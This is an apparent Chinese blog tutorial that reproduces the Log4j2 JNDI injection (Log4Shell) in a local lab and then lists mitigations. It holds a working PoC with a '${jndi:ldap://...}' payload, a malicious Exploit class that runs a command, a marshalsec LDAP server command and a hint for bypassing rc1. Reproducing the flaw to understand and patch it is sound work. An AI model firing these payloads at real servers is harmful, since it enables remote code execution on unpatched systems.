不亲手体验Log4j的漏洞怎么知道恐怖
*0x00 简介*
ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。
*0x01 漏洞概述*
该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。
0x02 影响范围
Apache Log4j 2.x <= 2.15.0-rc1
*0x03 环境搭建*
1、创建一个新的maven项目,并导入Log4j的依赖包
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency>
*0x04 漏洞利用*
1、使用POC测试
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; class LogTest { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://localhost:8888/Exploit}"); } }
2、编译一恶意类Exploit.class
首先新建exp.java,然后编译为class文件
class Exploit { static { System.err.println("Pwned"); try { String cmds = "calc"; Runtime.getRuntime().exec(cmds); } catch ( Exception e ) { e.printStackTrace(); } } }
javac exp.java
3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888
4、运行poc.java,即可访问恶意类并执行写在其中的"calc"命令
结合一些其它 StrLookup 适当变形,以及配合官方测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"
可绕过rc1,RC2版本对此异常进行了捕获。
Comparing log4j-2.15.0-rc1...log4j-2.15.0-rc2 · apache/logging-log4j2 · GitHub
0x05 修复方式
目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
Release log4j-2.15.0-rc2 · apache/logging-log4j2 · GitHub
建议同时采用如下临时措施进行漏洞防范:
1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墙产品进行安全防护。
关注公众号 获取面试宝典 回复:面试
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用